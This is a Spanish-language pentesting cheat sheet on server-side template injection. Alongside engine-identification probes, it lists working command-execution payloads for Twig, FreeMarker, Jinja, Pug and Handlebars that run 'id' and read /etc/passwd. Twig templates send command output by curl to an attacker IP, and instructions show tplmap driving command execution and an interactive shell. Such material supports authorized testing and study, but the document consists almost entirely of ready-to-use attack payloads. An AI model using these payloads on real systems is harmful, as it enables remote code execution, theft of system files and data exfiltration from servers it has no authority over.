Server-side template injection (SSTI)

Template engines

Identificación general de SSTI

# payloads general
{1234*2}
{1234+1234}
%{1234*2}
%{1234+1234}
<%= 1234*2 %>
<%= 1234+1234 %>
${1234*2}
${1234+1234}
{{1234*2}}
{{1234+1234}}
#{1234*2}
#{1234+1234}
@{1234*2}
@{1234+1234}
@(1234*2)
@(1234+1234)

# identificación
2468
2,468
2.468
<2468>

# payloads error
${{<%[%'"}}%\.
<%= foobar %>

Arbol de decisión para la identificación del motor de plantilla

Twig

Identificación general.

{{1234*'2'}}
2468
{{-2468-}}
2468

Payloads generales.

{{1234*2}}
{{1234*'2'}}
{{1234+1234}}
{{1234+'1234'}}
{{-2468-}}
{{[0]|reduce('system','id')}}
{{[0]|reduce('passthru','id')}}
{{[0]|reduce('system','cat /etc/passwd')}}
{{[0]|reduce('passthru','cat /etc/passwd')}}
{{['id']|filter('system')}}
{{['id']|filter('passthru')}}
{{['cat /etc/passwd']|filter('system')}}
{{['cat /etc/passwd']|filter('passthru')}}
{{['id']|map('system')|join}}
{{['id']|map('passthru')}}
{{['cat /etc/passwd']|map('system')|join}}
{{['cat /etc/passwd']|map('passthru')|join}}

Out of bound (blind)

Habilitación de servidor HTTP.

python -m SimpleHTTPServer <port>
python3 -m http.server <port>

Identificación de SSTI out of bound (blind).

{{[0]|reduce('system','curl http://<attacker-IP-address>/oob')}}

Ejecución de comandos.

{% set output %}
{{[0]|reduce('system','id')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://<attacker-IP-address>/?oob=' ~ exfil)}}

Lectura de archivos.

{% set output %}
{{[0]|reduce('system','cat /etc/passwd')}}
{% endset %}

{% set exfil = output| url_encode %}
{{[0]|reduce('system','curl http://<attacker-IP-address>/?oob=' ~ exfil)}}

Apache FreeMarker

Identificación general.

${1234*2}
2,468
2.468
${1234*2}
${1234+1234}
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

Jinja

Identificación general.

{{"2468"*3}}
246824682468
{{1234*2}}
{{1234+1234}}
{{config|pprint}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("id").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("cat /etc/passwd").read()}}{%endif%}{% endfor %}

Pug / Jade

Identificación general.

#{1234*"2"}
<2468>
#{1234*2}
#{1234*'2'}
#{1234+1234}
#{global.process.mainModule.require('child_process').spawnSync('id').stdout}
#{global.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Handlebars

{{#each (readdir "/etc")}}
    {{this}}
{{/each}}

{{read "/etc/passwd"}}

Herramientas automatizadas

Tplmap

Instalación.

git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install virtualenv
virtualenv -p python2 virtualenv-tplmap
source virtualenv-tplmap/bin/activate
pip install -r requirements.txt
./tplmap.py

Utilización de herramienta.

# Método GET
./tplmap.py -u "http://<target>/index.php?<parameter>=value*"

# Método POST
./tplmap.py -u "http://<target>" -d <parameter>="value*"

# Ejecución de comandos
--os-cmd=<command>

# Shell interactiva
--os-shell

Última actualización